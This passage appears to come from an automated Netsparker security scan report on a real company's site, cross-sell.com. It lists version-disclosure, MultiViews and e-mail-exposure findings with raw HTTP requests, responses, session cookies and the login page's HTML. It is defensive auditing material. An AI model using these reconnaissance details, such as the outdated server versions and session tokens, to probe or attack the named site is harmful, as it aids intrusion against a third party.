http://www.omniture.com --> <script language="JavaScript" type="text/javascript" src="javascript/s_code.js"></script> <script language="JavaScript" type="text/javascript"><!-- /* You may give each page an identifying name, server, and channel on the next lines. */ s.pageName="home" s.server="" s.channel="" s.pageType="" s.prop1="" s.prop2="" s.prop3="" s.prop4="" s.prop5="" /* Conversion Variables */ s.campaign="" s.state="" s.zip="" s.events="" s.products="" s.purchaseID="" s.eVar1="" s.eVar2="" s.eVar3="" s.eVar4="" s.eVar5="" /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s.t();if(s_code)document.write(s_code)//--></script> <script language="JavaScript" type="text/javascript"><!-- if(navigator.appVersion.indexOf('MSIE')>=0)document.write(unescape('%3C')+'\!-'+'-') //--></script><noscript><a href="http://www.omniture.com" title="Web Analytics"><img src="http://decross-sell.112.2O7.net/b/ss/decross-sell/1/H.15.1--NS/0" height="1" width="1" border="0" alt="" /></a></noscript><!--/DO NOT REMOVE/--> <!-- End SiteCatalyst code version: H.15.1. --> </body></html>
Apache Version Disclosure
Apache Version Disclosure
Netsparker identified that the target web server is an Apache server. This was disclosed through the HTTP response. This information can help an attacker to gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of Apache.
Impact
An attacker can search for specific security vulnerabilities for the version of Apache identified within the SERVER header.
Configure your web server to prevent information leakage from the SERVER
header of its HTTP response.
2.2.11 (Unix)
Request
HEAD /login HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Accept: netsparker/check Cache-Control: no-cache Host: www.cross-sell.com Cookie: PHPSESSID=c72a6cef2b1aee88332ec24520c5bc6e; BIGipServercs_webvm1_desq_http_pool=1385717002.20480.0000 Accept-Encoding: gzip, deflate
Response
HTTP/1.1 406 Not Acceptable Date: Tue, 21 Jun 2011 06:02:51 GMT Server: Apache/2.2.11 (Unix) PHP/5.2.9 Alternates: {"login.php" 1 {type application/x-httpd-php} {length 886}} Vary: negotiate TCN: list Content-Type: text/html; charset=iso-8859-1
PHP Version Disclosure
PHP Version Disclosure
Netsparker identified that the target web server is disclosing the PHP version in use through the HTTP response. This information can help an attacker to gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of PHP.
Impact
An attacker can look for specific security vulnerabilities for the version identified. Also the attacker can use this information in conjunction with the other vulnerabilities in the application or the web server.
PHP/5.2.9
Request
HEAD /login HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Accept: netsparker/check Cache-Control: no-cache Host: www.cross-sell.com Cookie: PHPSESSID=c72a6cef2b1aee88332ec24520c5bc6e; BIGipServercs_webvm1_desq_http_pool=1385717002.20480.0000 Accept-Encoding: gzip, deflate
Response
HTTP/1.1 406 Not Acceptable Date: Tue, 21 Jun 2011 06:02:51 GMT Server: Apache/2.2.11 (Unix) PHP/5.2.9 Alternates: {"login.php" 1 {type application/x-httpd-php} {length 886}} Vary: negotiate TCN: list Content-Type: text/html; charset=iso-8859-1
Apache MultiViews Enabled
Apache MultiViews Enabled
Netsparker identified that the Apache MultiViews option is enabled. This vulnerability can be used for locating and obtaining access to some hidden resources.
Impact
An attacker can use this functionality to aid in finding hidden file processes on the directory and potentially gather further sensitive information.
Change your
httpd.conf
file. A recommended configuration for the requested directory should be in the following format:
<Directory /{YOUR DIRECTORY}>
Options FollowSymLinks
</Directory>
Remove the
MultiViews option from configuration.
Request
HEAD /login HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Accept: netsparker/check Cache-Control: no-cache Host: www.cross-sell.com Cookie: PHPSESSID=c72a6cef2b1aee88332ec24520c5bc6e; BIGipServercs_webvm1_desq_http_pool=1385717002.20480.0000 Accept-Encoding: gzip, deflate
Response
HTTP/1.1 406 Not Acceptable Date: Tue, 21 Jun 2011 06:02:51 GMT Server: Apache/2.2.11 (Unix) PHP/5.2.9 Alternates: {"login.php" 1 {type application/x-httpd-php} {length 886}} Vary: negotiate TCN: list Content-Type: text/html; charset=iso-8859-1
Forbidden Resource
Forbidden Resource
Access to this resource has been denied by the web server. This is generally not a security issue, and is reported here for information purposes.
Impact
There is no impact resulting from this issue.
Request
GET /sample/ HTTP/1.1 Referer: http://www.cross-sell.com/sample/new_cs.pdf User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: www.cross-sell.com Cookie: PHPSESSID=c72a6cef2b1aee88332ec24520c5bc6e; BIGipServercs_webvm1_desq_http_pool=1385717002.20480.0000 Accept-Encoding: gzip, deflate
Response
HTTP/1.1 403 Forbidden Date: Tue, 21 Jun 2011 06:02:51 GMT Server: Apache/2.2.11 (Unix) PHP/5.2.9 Content-Length: 209 Content-Type: text/html; charset=iso-8859-1 <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access /sample/on this server.</p></body></html>
E-mail Address Disclosure
E-mail Address Disclosure
Netsparker found e-mail addresses on the web site.
Impact
E-mail addresses discovered within the application can be used by both spam email engines and also brute force tools. Furthermore valid email addresses may lead to social engineering attacks .
Use generic email addresses such as contact@ or info@ for general communications, remove user/people specific e-mail addresses from the web site, should this be required use submission forms for this purpose.
External References
sales@cross-sell.com
Request
GET /login.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: www.cross-sell.com Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK Date: Tue, 21 Jun 2011 06:02:52 GMT Server: Apache/2.2.11 (Unix) PHP/5.2.9 X-Powered-By: PHP/5.2.9 Set-Cookie: PHPSESSID=468c53370cd766aa19e051dfd7ab5cf5; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Encoding: Vary: Accept-Encoding Content-Length: 2209 Content-Type: text/html <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <!-- xx --> <title>Login to access your online reports - Cross-Sell Report</title> <meta http-equiv="Content-Type" content="text/html;charset=ISO-8859-1" /> <meta name="keywords" content="auto sales market share, car manufacturer market share, car manufacturers market share, car sales market share, used car market report, car companies market share, car company market share, car industry market share, ford sales report, gm sales report, nissan sales report, bmw car sales report, audi sales report" /> <meta name="description" content="The Cross-Sell Report is a comprehensive monthly vehicle sales/registration report that is custom-made for each client's exact market. Information is available on paper and/or diskette or email." /> <meta name="ROBOTS" content="index,follow" /> <link rel="shortcut icon" href="images/cs_favicon.ico" type="image/x-icon" /> <script type="text/javascript" src="javascript/main.js"></script> <link rel="stylesheet" href="css/main.css" type="text/css" /> <link rel="stylesheet" href="css/menu.css" type="text/css" /> <link rel="stylesheet" href="css/login.css" type="text/css"/> </head> <body> <div id ="container"> <div id="header"> <a href="index.php"><img src="./images/cs_logo_hdr.gif" id="logo" alt="Cross-sell Logo" /></a> </div> <div id="menu_container"> <ul id="pmenu"> <li><a href="index.php">Home</a></li> <li><a href="about.php">About us</a></li> <li><a href="#" style="width:126px;cursor:crosshair">Products & Services<!--[if IE 7]><!--></a><!--<![endif]--> <!--[if lte IE 6]><table><tr><td><![endif]--> <ul> <li><a href="csreport.php" style="width:150px;">Cross-Sell Report</a></li> <li><a href="snapshot.php" style="width:150px;">Snap-Shots</a></li> <li><a href="marketintel.php" style="width:150px;">MarketIntel</a></li> <li><a href="marketcontrol.php" style="width:150px;">MarketControl Analytics</a></li> </ul> <!--[if lte IE 6]></td></tr></table></a><![endif]--> </li> <li><a href="available.php" style="width:116px;">Availability</a></li> <li><a href="testimonial.php">Testimonials</a></li> <li><a href="faq.php">FAQ</a></li> <li><a href="contact.php">Contact Us</a></li> <li><a href="links.php">Links</a></li> <li><a href="/login.php">Log In</a></li> </ul> </div> <div id="page"> <script src="/Javascript/FormCheck.js"></script> <script language="Javascript"> //Validate info function Validate(FORM) { if (isWhitespace(FORM.username.value)) { alert("Please enter a value for the Username."); FORM.username.focus(); return false; } if (isWhitespace(FORM.password.value)) { alert("Please enter a value for the Password."); FORM.password.focus(); return false; } return true; } </script> <div class="login_box"> <h1>Login</h1> <p>Please login to access your online reports</p> <form action="/LoginProc.php" name="loginfrm" id="loginfrm" method="post" onSubmit="return Validate(this)"> <table class="logintbl"> <tr> <td align="right"> <label for="username">Username</label>: </td> <td> <input type="text" name="username" id="username" maxlength="20"> </td> </tr> <tr> <td align="right"> <label for="password">Password</label>: </td> <td> <input type="password" name="password" id="password" maxlength="12"> </td> </tr> <tr> <td colspan="2" align="center"> <input type="submit" value="Login"> </td> </tr> </table> </form> </div> </div> <div id="footer"> <p>Cross-Sell Report � 190 W. Lowry Lane � Lexington, KY 40503 Call: (800)369-5870 � Fax: 1-888-587-0102 � Email: <a href="mailto:sales@cross-sell.com">sales@cross-sell.com</a><br/> <a href="http://www.dominionenterprises.com/main/do/Copyright">Copyright© 2011 Dominion Enterprises, Inc.</a> All Rights Reserved</p> </div> </div> <!-- SiteCatalyst code version: H.15.1. Copyright 1997-2008 Omniture, Inc. More info available at http://www.omniture.com --> <script language="JavaScript" type="text/javascript" src="javascript/s_code.js"></script> <script language="JavaScript" type="text/javascript"><!-- /* You may give each page an identifying name, server, and channel on the next lines. */ s.pageName="login" s.server="" s.channel="" s.pageType="" s.prop1="" s.prop2="" s.prop3="" s.prop4="" s.prop5="" /* Conversion Variables */ s.campaign="" s.state="" s.zip="" s.events="" s.products="" s.purchaseID="" s.eVar1="" s.eVar2="" s.eVar3="" s.eVar4="" s.eVar5="" /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s.t();if(s_code)document.write(s_code)//--></script> <script language="JavaScript" type="text/javascript"><!-- if(navigator.appVersion.indexOf('MSIE')>=0)document.write(unescape('%3C')+'\!-'+'-') //--></script><noscript><a href="http://www.omniture.com" title="Web Analytics"><img src="http://decross-sell.112.2O7.net/b/ss/decross-sell/1/H.15.1--NS/0" height="1" width="1" border="0" alt="" /></a></noscript><!--/DO NOT REMOVE/--> <!-- End SiteCatalyst code version: H.15.1. --> </body></html>